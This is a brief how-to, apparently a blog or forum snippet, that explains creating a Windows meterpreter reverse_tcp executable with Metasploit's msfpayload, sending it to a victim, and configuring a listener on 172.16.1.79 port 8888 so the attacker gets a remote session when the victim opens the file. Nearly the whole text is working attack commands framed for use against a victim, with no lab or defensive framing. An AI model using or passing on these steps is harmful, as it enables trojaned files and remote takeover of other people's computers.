This is a how to create a binary file that will be sent to the attacking victim , so first you create the binary file with metasploit , send to the victim and prepare the server to wait for the connection.
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.1.79 LPORT=8888 X > /var/www/exploits/reverse_shell_meterpreter.exe
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.79
set LPORT 8888
Now your server is waiting for the client , when he opens the file, you will get your meterpreter session on his computer.